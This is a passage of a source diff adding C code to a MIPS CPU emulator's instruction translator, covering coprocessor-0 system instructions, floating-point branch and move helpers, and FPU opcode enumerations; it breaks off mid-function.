die; + } + LOG_DISAS("mttr (reg %d u %d sel %d h %d)\n", rd, u, sel, h); + tcg_temp_free(tcg_ctx, t0); + return; + +die: + tcg_temp_free(tcg_ctx, t0); + LOG_DISAS("mttr (reg %d u %d sel %d h %d)\n", rd, u, sel, h); + generate_exception(ctx, EXCP_RI); +} + +static void gen_cp0 (CPUMIPSState *env, DisasContext *ctx, uint32_t opc, int rt, int rd) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + const char *opn = "ldst"; + + check_cp0_enabled(ctx); + switch (opc) { + case OPC_MFC0: + if (rt == 0) { + /* Treat as NOP. */ + return; + } + gen_mfc0(ctx, *cpu_gpr[rt], rd, ctx->opcode & 0x7); + opn = "mfc0"; + break; + case OPC_MTC0: + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_mtc0(ctx, t0, rd, ctx->opcode & 0x7); + tcg_temp_free(tcg_ctx, t0); + } + opn = "mtc0"; + break; +#if defined(TARGET_MIPS64) + case OPC_DMFC0: + check_insn(ctx, ISA_MIPS3); + if (rt == 0) { + /* Treat as NOP. */ + return; + } + gen_dmfc0(ctx, *cpu_gpr[rt], rd, ctx->opcode & 0x7); + opn = "dmfc0"; + break; + case OPC_DMTC0: + check_insn(ctx, ISA_MIPS3); + { + TCGv t0 = tcg_temp_new(tcg_ctx); + + gen_load_gpr(ctx, t0, rt); + gen_dmtc0(ctx, t0, rd, ctx->opcode & 0x7); + tcg_temp_free(tcg_ctx, t0); + } + opn = "dmtc0"; + break; +#endif + case OPC_MFTR: + check_insn(ctx, ASE_MT); + if (rd == 0) { + /* Treat as NOP. */ + return; + } + gen_mftr(env, ctx, rt, rd, (ctx->opcode >> 5) & 1, + ctx->opcode & 0x7, (ctx->opcode >> 4) & 1); + opn = "mftr"; + break; + case OPC_MTTR: + check_insn(ctx, ASE_MT); + gen_mttr(env, ctx, rd, rt, (ctx->opcode >> 5) & 1, + ctx->opcode & 0x7, (ctx->opcode >> 4) & 1); + opn = "mttr"; + break; + case OPC_TLBWI: + opn = "tlbwi"; + if (!env->tlb->helper_tlbwi) + goto die; + gen_helper_tlbwi(tcg_ctx, tcg_ctx->cpu_env); + break; + case OPC_TLBINV: + opn = "tlbinv"; + if (ctx->ie >= 2) { + if (!env->tlb->helper_tlbinv) { + goto die; + } + gen_helper_tlbinv(tcg_ctx, tcg_ctx->cpu_env); + } /* treat as nop if TLBINV not supported */ + break; + case OPC_TLBINVF: + opn = "tlbinvf"; + if (ctx->ie >= 2) { + if (!env->tlb->helper_tlbinvf) { + goto die; + } + gen_helper_tlbinvf(tcg_ctx, tcg_ctx->cpu_env); + } /* treat as nop if TLBINV not supported */ + break; + case OPC_TLBWR: + opn = "tlbwr"; + if (!env->tlb->helper_tlbwr) + goto die; + gen_helper_tlbwr(tcg_ctx, tcg_ctx->cpu_env); + break; + case OPC_TLBP: + opn = "tlbp"; + if (!env->tlb->helper_tlbp) + goto die; + gen_helper_tlbp(tcg_ctx, tcg_ctx->cpu_env); + break; + case OPC_TLBR: + opn = "tlbr"; + if (!env->tlb->helper_tlbr) + goto die; + gen_helper_tlbr(tcg_ctx, tcg_ctx->cpu_env); + break; + case OPC_ERET: + opn = "eret"; + check_insn(ctx, ISA_MIPS2); + if ((ctx->insn_flags & ISA_MIPS32R6) && + (ctx->hflags & MIPS_HFLAG_BMASK)) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + goto die; + } + gen_helper_eret(tcg_ctx, tcg_ctx->cpu_env); + ctx->bstate = BS_EXCP; + break; + case OPC_DERET: + opn = "deret"; + check_insn(ctx, ISA_MIPS32); + if ((ctx->insn_flags & ISA_MIPS32R6) && + (ctx->hflags & MIPS_HFLAG_BMASK)) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + goto die; + } + if (!(ctx->hflags & MIPS_HFLAG_DM)) { + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + } else { + gen_helper_deret(tcg_ctx, tcg_ctx->cpu_env); + ctx->bstate = BS_EXCP; + } + break; + case OPC_WAIT: + opn = "wait"; + check_insn(ctx, ISA_MIPS3 | ISA_MIPS32); + if ((ctx->insn_flags & ISA_MIPS32R6) && + (ctx->hflags & MIPS_HFLAG_BMASK)) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + goto die; + } + /* If we get an exception, we want to restart at next instruction */ + ctx->pc += 4; + save_cpu_state(ctx, 1); + ctx->pc -= 4; + gen_helper_wait(tcg_ctx, tcg_ctx->cpu_env); + ctx->bstate = BS_EXCP; + break; + default: + die: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + return; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s %d", opn, regnames[rt], rd); +} +#endif /* !CONFIG_USER_ONLY */ + +/* CP1 Branches (before delay slot) */ +static void gen_compute_branch1(DisasContext *ctx, uint32_t op, + int32_t cc, int32_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + target_ulong btarget; + const char *opn = "cp1 cond branch"; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + + if ((ctx->insn_flags & ISA_MIPS32R6) && (ctx->hflags & MIPS_HFLAG_BMASK)) { + MIPS_DEBUG("CTI in delay / forbidden slot"); + generate_exception(ctx, EXCP_RI); + goto out; + } + + if (cc != 0) + check_insn(ctx, ISA_MIPS4 | ISA_MIPS32); + + btarget = ctx->pc + 4 + offset; + + switch (op) { + case OPC_BC1F: + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_not_i32(tcg_ctx, t0, t0); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + opn = "bc1f"; + goto not_likely; + case OPC_BC1FL: + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_not_i32(tcg_ctx, t0, t0); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + opn = "bc1fl"; + goto likely; + case OPC_BC1T: + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + opn = "bc1t"; + goto not_likely; + case OPC_BC1TL: + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + opn = "bc1tl"; + likely: + ctx->hflags |= MIPS_HFLAG_BL; + break; + case OPC_BC1FANY2: + { + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+1)); + tcg_gen_nand_i32(tcg_ctx, t0, t0, t1); + tcg_temp_free_i32(tcg_ctx, t1); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + } + opn = "bc1any2f"; + goto not_likely; + case OPC_BC1TANY2: + { + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+1)); + tcg_gen_or_i32(tcg_ctx, t0, t0, t1); + tcg_temp_free_i32(tcg_ctx, t1); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + } + opn = "bc1any2t"; + goto not_likely; + case OPC_BC1FANY4: + { + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+1)); + tcg_gen_and_i32(tcg_ctx, t0, t0, t1); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+2)); + tcg_gen_and_i32(tcg_ctx, t0, t0, t1); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+3)); + tcg_gen_nand_i32(tcg_ctx, t0, t0, t1); + tcg_temp_free_i32(tcg_ctx, t1); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + } + opn = "bc1any4f"; + goto not_likely; + case OPC_BC1TANY4: + { + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_shri_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, get_fp_bit(cc)); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+1)); + tcg_gen_or_i32(tcg_ctx, t0, t0, t1); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+2)); + tcg_gen_or_i32(tcg_ctx, t0, t0, t1); + tcg_gen_shri_i32(tcg_ctx, t1, tcg_ctx->fpu_fcr31, get_fp_bit(cc+3)); + tcg_gen_or_i32(tcg_ctx, t0, t0, t1); + tcg_temp_free_i32(tcg_ctx, t1); + tcg_gen_andi_i32(tcg_ctx, t0, t0, 1); + tcg_gen_extu_i32_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + } + opn = "bc1any4t"; + not_likely: + ctx->hflags |= MIPS_HFLAG_BC; + break; + default: + MIPS_INVAL(opn); + generate_exception (ctx, EXCP_RI); + goto out; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s: cond %02x target " TARGET_FMT_lx, opn, + ctx->hflags, btarget); + ctx->btarget = btarget; + ctx->hflags |= MIPS_HFLAG_BDS32; + out: + tcg_temp_free_i32(tcg_ctx, t0); +} + +/* R6 CP1 Branches */ +static void gen_compute_branch1_r6(DisasContext *ctx, uint32_t op, + int32_t ft, int32_t offset) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + target_ulong btarget; + const char *opn = "cp1 cond branch"; + TCGv_i64 t0 = tcg_temp_new_i64(tcg_ctx); + + if (ctx->hflags & MIPS_HFLAG_BMASK) { +#ifdef MIPS_DEBUG_DISAS + LOG_DISAS("Branch in delay / forbidden slot at PC 0x" TARGET_FMT_lx + "\n", ctx->pc); +#endif + generate_exception(ctx, EXCP_RI); + goto out; + } + + gen_load_fpr64(ctx, t0, ft); + tcg_gen_andi_i64(tcg_ctx, t0, t0, 1); + + btarget = addr_add(ctx, ctx->pc + 4, offset); + + switch (op) { + case OPC_BC1EQZ: + tcg_gen_xori_i64(tcg_ctx, t0, t0, 1); + opn = "bc1eqz"; + ctx->hflags |= MIPS_HFLAG_BC; + break; + case OPC_BC1NEZ: + /* t0 already set */ + opn = "bc1nez"; + ctx->hflags |= MIPS_HFLAG_BC; + break; + default: + MIPS_INVAL(opn); + generate_exception(ctx, EXCP_RI); + goto out; + } + + tcg_gen_trunc_i64_tl(tcg_ctx, *(TCGv *)tcg_ctx->bcond, t0); + + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s: cond %02x target " TARGET_FMT_lx, opn, + ctx->hflags, btarget); + ctx->btarget = btarget; + ctx->hflags |= MIPS_HFLAG_BDS32; + +out: + tcg_temp_free_i64(tcg_ctx, t0); +} + +/* Coprocessor 1 (FPU) */ + +#define FOP(func, fmt) (((fmt) << 21) | (func)) + +enum fopcode { + OPC_ADD_S = FOP(0, FMT_S), + OPC_SUB_S = FOP(1, FMT_S), + OPC_MUL_S = FOP(2, FMT_S), + OPC_DIV_S = FOP(3, FMT_S), + OPC_SQRT_S = FOP(4, FMT_S), + OPC_ABS_S = FOP(5, FMT_S), + OPC_MOV_S = FOP(6, FMT_S), + OPC_NEG_S = FOP(7, FMT_S), + OPC_ROUND_L_S = FOP(8, FMT_S), + OPC_TRUNC_L_S = FOP(9, FMT_S), + OPC_CEIL_L_S = FOP(10, FMT_S), + OPC_FLOOR_L_S = FOP(11, FMT_S), + OPC_ROUND_W_S = FOP(12, FMT_S), + OPC_TRUNC_W_S = FOP(13, FMT_S), + OPC_CEIL_W_S = FOP(14, FMT_S), + OPC_FLOOR_W_S = FOP(15, FMT_S), + OPC_SEL_S = FOP(16, FMT_S), + OPC_MOVCF_S = FOP(17, FMT_S), + OPC_MOVZ_S = FOP(18, FMT_S), + OPC_MOVN_S = FOP(19, FMT_S), + OPC_SELEQZ_S = FOP(20, FMT_S), + OPC_RECIP_S = FOP(21, FMT_S), + OPC_RSQRT_S = FOP(22, FMT_S), + OPC_SELNEZ_S = FOP(23, FMT_S), + OPC_MADDF_S = FOP(24, FMT_S), + OPC_MSUBF_S = FOP(25, FMT_S), + OPC_RINT_S = FOP(26, FMT_S), + OPC_CLASS_S = FOP(27, FMT_S), + OPC_MIN_S = FOP(28, FMT_S), + OPC_RECIP2_S = FOP(28, FMT_S), + OPC_MINA_S = FOP(29, FMT_S), + OPC_RECIP1_S = FOP(29, FMT_S), + OPC_MAX_S = FOP(30, FMT_S), + OPC_RSQRT1_S = FOP(30, FMT_S), + OPC_MAXA_S = FOP(31, FMT_S), + OPC_RSQRT2_S = FOP(31, FMT_S), + OPC_CVT_D_S = FOP(33, FMT_S), + OPC_CVT_W_S = FOP(36, FMT_S), + OPC_CVT_L_S = FOP(37, FMT_S), + OPC_CVT_PS_S = FOP(38, FMT_S), + OPC_CMP_F_S = FOP (48, FMT_S), + OPC_CMP_UN_S = FOP (49, FMT_S), + OPC_CMP_EQ_S = FOP (50, FMT_S), + OPC_CMP_UEQ_S = FOP (51, FMT_S), + OPC_CMP_OLT_S = FOP (52, FMT_S), + OPC_CMP_ULT_S = FOP (53, FMT_S), + OPC_CMP_OLE_S = FOP (54, FMT_S), + OPC_CMP_ULE_S = FOP (55, FMT_S), + OPC_CMP_SF_S = FOP (56, FMT_S), + OPC_CMP_NGLE_S = FOP (57, FMT_S), + OPC_CMP_SEQ_S = FOP (58, FMT_S), + OPC_CMP_NGL_S = FOP (59, FMT_S), + OPC_CMP_LT_S = FOP (60, FMT_S), + OPC_CMP_NGE_S = FOP (61, FMT_S), + OPC_CMP_LE_S = FOP (62, FMT_S), + OPC_CMP_NGT_S = FOP (63, FMT_S), + + OPC_ADD_D = FOP(0, FMT_D), + OPC_SUB_D = FOP(1, FMT_D), + OPC_MUL_D = FOP(2, FMT_D), + OPC_DIV_D = FOP(3, FMT_D), + OPC_SQRT_D = FOP(4, FMT_D), + OPC_ABS_D = FOP(5, FMT_D), + OPC_MOV_D = FOP(6, FMT_D), + OPC_NEG_D = FOP(7, FMT_D), + OPC_ROUND_L_D = FOP(8, FMT_D), + OPC_TRUNC_L_D = FOP(9, FMT_D), + OPC_CEIL_L_D = FOP(10, FMT_D), + OPC_FLOOR_L_D = FOP(11, FMT_D), + OPC_ROUND_W_D = FOP(12, FMT_D), + OPC_TRUNC_W_D = FOP(13, FMT_D), + OPC_CEIL_W_D = FOP(14, FMT_D), + OPC_FLOOR_W_D = FOP(15, FMT_D), + OPC_SEL_D = FOP(16, FMT_D), + OPC_MOVCF_D = FOP(17, FMT_D), + OPC_MOVZ_D = FOP(18, FMT_D), + OPC_MOVN_D = FOP(19, FMT_D), + OPC_SELEQZ_D = FOP(20, FMT_D), + OPC_RECIP_D = FOP(21, FMT_D), + OPC_RSQRT_D = FOP(22, FMT_D), + OPC_SELNEZ_D = FOP(23, FMT_D), + OPC_MADDF_D = FOP(24, FMT_D), + OPC_MSUBF_D = FOP(25, FMT_D), + OPC_RINT_D = FOP(26, FMT_D), + OPC_CLASS_D = FOP(27, FMT_D), + OPC_MIN_D = FOP(28, FMT_D), + OPC_RECIP2_D = FOP(28, FMT_D), + OPC_MINA_D = FOP(29, FMT_D), + OPC_RECIP1_D = FOP(29, FMT_D), + OPC_MAX_D = FOP(30, FMT_D), + OPC_RSQRT1_D = FOP(30, FMT_D), + OPC_MAXA_D = FOP(31, FMT_D), + OPC_RSQRT2_D = FOP(31, FMT_D), + OPC_CVT_S_D = FOP(32, FMT_D), + OPC_CVT_W_D = FOP(36, FMT_D), + OPC_CVT_L_D = FOP(37, FMT_D), + OPC_CMP_F_D = FOP (48, FMT_D), + OPC_CMP_UN_D = FOP (49, FMT_D), + OPC_CMP_EQ_D = FOP (50, FMT_D), + OPC_CMP_UEQ_D = FOP (51, FMT_D), + OPC_CMP_OLT_D = FOP (52, FMT_D), + OPC_CMP_ULT_D = FOP (53, FMT_D), + OPC_CMP_OLE_D = FOP (54, FMT_D), + OPC_CMP_ULE_D = FOP (55, FMT_D), + OPC_CMP_SF_D = FOP (56, FMT_D), + OPC_CMP_NGLE_D = FOP (57, FMT_D), + OPC_CMP_SEQ_D = FOP (58, FMT_D), + OPC_CMP_NGL_D = FOP (59, FMT_D), + OPC_CMP_LT_D = FOP (60, FMT_D), + OPC_CMP_NGE_D = FOP (61, FMT_D), + OPC_CMP_LE_D = FOP (62, FMT_D), + OPC_CMP_NGT_D = FOP (63, FMT_D), + + OPC_CVT_S_W = FOP(32, FMT_W), + OPC_CVT_D_W = FOP(33, FMT_W), + OPC_CVT_S_L = FOP(32, FMT_L), + OPC_CVT_D_L = FOP(33, FMT_L), + OPC_CVT_PS_PW = FOP(38, FMT_W), + + OPC_ADD_PS = FOP(0, FMT_PS), + OPC_SUB_PS = FOP(1, FMT_PS), + OPC_MUL_PS = FOP(2, FMT_PS), + OPC_DIV_PS = FOP(3, FMT_PS), + OPC_ABS_PS = FOP(5, FMT_PS), + OPC_MOV_PS = FOP(6, FMT_PS), + OPC_NEG_PS = FOP(7, FMT_PS), + OPC_MOVCF_PS = FOP(17, FMT_PS), + OPC_MOVZ_PS = FOP(18, FMT_PS), + OPC_MOVN_PS = FOP(19, FMT_PS), + OPC_ADDR_PS = FOP(24, FMT_PS), + OPC_MULR_PS = FOP(26, FMT_PS), + OPC_RECIP2_PS = FOP(28, FMT_PS), + OPC_RECIP1_PS = FOP(29, FMT_PS), + OPC_RSQRT1_PS = FOP(30, FMT_PS), + OPC_RSQRT2_PS = FOP(31, FMT_PS), + + OPC_CVT_S_PU = FOP(32, FMT_PS), + OPC_CVT_PW_PS = FOP(36, FMT_PS), + OPC_CVT_S_PL = FOP(40, FMT_PS), + OPC_PLL_PS = FOP(44, FMT_PS), + OPC_PLU_PS = FOP(45, FMT_PS), + OPC_PUL_PS = FOP(46, FMT_PS), + OPC_PUU_PS = FOP(47, FMT_PS), + OPC_CMP_F_PS = FOP (48, FMT_PS), + OPC_CMP_UN_PS = FOP (49, FMT_PS), + OPC_CMP_EQ_PS = FOP (50, FMT_PS), + OPC_CMP_UEQ_PS = FOP (51, FMT_PS), + OPC_CMP_OLT_PS = FOP (52, FMT_PS), + OPC_CMP_ULT_PS = FOP (53, FMT_PS), + OPC_CMP_OLE_PS = FOP (54, FMT_PS), + OPC_CMP_ULE_PS = FOP (55, FMT_PS), + OPC_CMP_SF_PS = FOP (56, FMT_PS), + OPC_CMP_NGLE_PS = FOP (57, FMT_PS), + OPC_CMP_SEQ_PS = FOP (58, FMT_PS), + OPC_CMP_NGL_PS = FOP (59, FMT_PS), + OPC_CMP_LT_PS = FOP (60, FMT_PS), + OPC_CMP_NGE_PS = FOP (61, FMT_PS), + OPC_CMP_LE_PS = FOP (62, FMT_PS), + OPC_CMP_NGT_PS = FOP (63, FMT_PS), +}; + +enum r6_f_cmp_op { + R6_OPC_CMP_AF_S = FOP(0, FMT_W), + R6_OPC_CMP_UN_S = FOP(1, FMT_W), + R6_OPC_CMP_EQ_S = FOP(2, FMT_W), + R6_OPC_CMP_UEQ_S = FOP(3, FMT_W), + R6_OPC_CMP_LT_S = FOP(4, FMT_W), + R6_OPC_CMP_ULT_S = FOP(5, FMT_W), + R6_OPC_CMP_LE_S = FOP(6, FMT_W), + R6_OPC_CMP_ULE_S = FOP(7, FMT_W), + R6_OPC_CMP_SAF_S = FOP(8, FMT_W), + R6_OPC_CMP_SUN_S = FOP(9, FMT_W), + R6_OPC_CMP_SEQ_S = FOP(10, FMT_W), + R6_OPC_CMP_SEUQ_S = FOP(11, FMT_W), + R6_OPC_CMP_SLT_S = FOP(12, FMT_W), + R6_OPC_CMP_SULT_S = FOP(13, FMT_W), + R6_OPC_CMP_SLE_S = FOP(14, FMT_W), + R6_OPC_CMP_SULE_S = FOP(15, FMT_W), + R6_OPC_CMP_OR_S = FOP(17, FMT_W), + R6_OPC_CMP_UNE_S = FOP(18, FMT_W), + R6_OPC_CMP_NE_S = FOP(19, FMT_W), + R6_OPC_CMP_SOR_S = FOP(25, FMT_W), + R6_OPC_CMP_SUNE_S = FOP(26, FMT_W), + R6_OPC_CMP_SNE_S = FOP(27, FMT_W), + + R6_OPC_CMP_AF_D = FOP(0, FMT_L), + R6_OPC_CMP_UN_D = FOP(1, FMT_L), + R6_OPC_CMP_EQ_D = FOP(2, FMT_L), + R6_OPC_CMP_UEQ_D = FOP(3, FMT_L), + R6_OPC_CMP_LT_D = FOP(4, FMT_L), + R6_OPC_CMP_ULT_D = FOP(5, FMT_L), + R6_OPC_CMP_LE_D = FOP(6, FMT_L), + R6_OPC_CMP_ULE_D = FOP(7, FMT_L), + R6_OPC_CMP_SAF_D = FOP(8, FMT_L), + R6_OPC_CMP_SUN_D = FOP(9, FMT_L), + R6_OPC_CMP_SEQ_D = FOP(10, FMT_L), + R6_OPC_CMP_SEUQ_D = FOP(11, FMT_L), + R6_OPC_CMP_SLT_D = FOP(12, FMT_L), + R6_OPC_CMP_SULT_D = FOP(13, FMT_L), + R6_OPC_CMP_SLE_D = FOP(14, FMT_L), + R6_OPC_CMP_SULE_D = FOP(15, FMT_L), + R6_OPC_CMP_OR_D = FOP(17, FMT_L), + R6_OPC_CMP_UNE_D = FOP(18, FMT_L), + R6_OPC_CMP_NE_D = FOP(19, FMT_L), + R6_OPC_CMP_SOR_D = FOP(25, FMT_L), + R6_OPC_CMP_SUNE_D = FOP(26, FMT_L), + R6_OPC_CMP_SNE_D = FOP(27, FMT_L), +}; +static void gen_cp1 (DisasContext *ctx, uint32_t opc, int rt, int fs) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + const char *opn = "cp1 move"; + TCGv t0 = tcg_temp_new(tcg_ctx); + + switch (opc) { + case OPC_MFC1: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + tcg_gen_ext_i32_tl(tcg_ctx, t0, fp0); + tcg_temp_free_i32(tcg_ctx, fp0); + } + gen_store_gpr(tcg_ctx, t0, rt); + opn = "mfc1"; + break; + case OPC_MTC1: + gen_load_gpr(ctx, t0, rt); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, fp0, t0); + gen_store_fpr32(ctx, fp0, fs); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "mtc1"; + break; + case OPC_CFC1: + gen_helper_1e0i(tcg_ctx, cfc1, t0, fs); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "cfc1"; + break; + case OPC_CTC1: + gen_load_gpr(ctx, t0, rt); + save_cpu_state(ctx, 1); + { + TCGv_i32 fs_tmp = tcg_const_i32(tcg_ctx, fs); + + gen_helper_0e2i(tcg_ctx, ctc1, t0, fs_tmp, rt); + tcg_temp_free_i32(tcg_ctx, fs_tmp); + } + /* Stop translation as we may have changed hflags */ + ctx->bstate = BS_STOP; + opn = "ctc1"; + break; +#if defined(TARGET_MIPS64) + case OPC_DMFC1: + gen_load_fpr64(ctx, t0, fs); + gen_store_gpr(tcg_ctx, t0, rt); + opn = "dmfc1"; + break; + case OPC_DMTC1: + gen_load_gpr(ctx, t0, rt); + gen_store_fpr64(ctx, t0, fs); + opn = "dmtc1"; + break; +#endif + case OPC_MFHC1: + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32h(ctx, fp0, fs); + tcg_gen_ext_i32_tl(tcg_ctx, t0, fp0); + tcg_temp_free_i32(tcg_ctx, fp0); + } + gen_store_gpr(tcg_ctx, t0, rt); + opn = "mfhc1"; + break; + case OPC_MTHC1: + gen_load_gpr(ctx, t0, rt); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_trunc_tl_i32(tcg_ctx, fp0, t0); + gen_store_fpr32h(ctx, fp0, fs); + tcg_temp_free_i32(tcg_ctx, fp0); + } + opn = "mthc1"; + break; + default: + MIPS_INVAL(opn); + generate_exception (ctx, EXCP_RI); + goto out; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s %s", opn, regnames[rt], fregnames[fs]); + + out: + tcg_temp_free(tcg_ctx, t0); +} + +static void gen_movci (DisasContext *ctx, int rd, int rs, int cc, int tf) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int l1; + TCGCond cond; + TCGv_i32 t0; + + if (rd == 0) { + /* Treat as NOP. */ + return; + } + + if (tf) + cond = TCG_COND_EQ; + else + cond = TCG_COND_NE; + + l1 = gen_new_label(tcg_ctx); + t0 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_andi_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, 1U << (get_fp_bit(cc) & 0x1f)); + tcg_gen_brcondi_i32(tcg_ctx, cond, t0, 0, l1); + tcg_temp_free_i32(tcg_ctx, t0); + if (rs == 0) { + tcg_gen_movi_tl(tcg_ctx, *cpu_gpr[rd], 0); + } else { + tcg_gen_mov_tl(tcg_ctx, *cpu_gpr[rd], *cpu_gpr[rs]); + } + gen_set_label(tcg_ctx, l1); +} + +static inline void gen_movcf_s (DisasContext *ctx, int fs, int fd, int cc, int tf) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int cond; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + + if (tf) + cond = TCG_COND_EQ; + else + cond = TCG_COND_NE; + + tcg_gen_andi_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, 1U << (get_fp_bit(cc) & 0x1f)); + tcg_gen_brcondi_i32(tcg_ctx, cond, t0, 0, l1); + gen_load_fpr32(ctx, t0, fs); + gen_store_fpr32(ctx, t0, fd); + gen_set_label(tcg_ctx, l1); + tcg_temp_free_i32(tcg_ctx, t0); +} + +static inline void gen_movcf_d (DisasContext *ctx, int fs, int fd, int cc, int tf) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int cond; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i64 fp0; + int l1 = gen_new_label(tcg_ctx); + + if (tf) + cond = TCG_COND_EQ; + else + cond = TCG_COND_NE; + + tcg_gen_andi_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, 1U << (get_fp_bit(cc) & 0x1f)); + tcg_gen_brcondi_i32(tcg_ctx, cond, t0, 0, l1); + tcg_temp_free_i32(tcg_ctx, t0); + fp0 = tcg_temp_new_i64(tcg_ctx); + gen_load_fpr64(ctx, fp0, fs); + gen_store_fpr64(ctx, fp0, fd); + tcg_temp_free_i64(tcg_ctx, fp0); + gen_set_label(tcg_ctx, l1); +} + +static inline void gen_movcf_ps(DisasContext *ctx, int fs, int fd, + int cc, int tf) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + int cond; + TCGv_i32 t0 = tcg_temp_new_i32(tcg_ctx); + int l1 = gen_new_label(tcg_ctx); + int l2 = gen_new_label(tcg_ctx); + + if (tf) + cond = TCG_COND_EQ; + else + cond = TCG_COND_NE; + + tcg_gen_andi_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, 1U << (get_fp_bit(cc) & 0x1f)); + tcg_gen_brcondi_i32(tcg_ctx, cond, t0, 0, l1); + gen_load_fpr32(ctx, t0, fs); + gen_store_fpr32(ctx, t0, fd); + gen_set_label(tcg_ctx, l1); + + tcg_gen_andi_i32(tcg_ctx, t0, tcg_ctx->fpu_fcr31, 1U << (get_fp_bit(cc+1) & 0x1f)); + tcg_gen_brcondi_i32(tcg_ctx, cond, t0, 0, l2); + gen_load_fpr32h(ctx, t0, fs); + gen_store_fpr32h(ctx, t0, fd); + tcg_temp_free_i32(tcg_ctx, t0); + gen_set_label(tcg_ctx, l2); +} + +static void gen_sel_s(DisasContext *ctx, enum fopcode op1, int fd, int ft, + int fs) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv_i32 t1 = tcg_const_i32(tcg_ctx, 0); + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + gen_load_fpr32(ctx, fp0, fd); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fs); + + switch (op1) { + case OPC_SEL_S: + 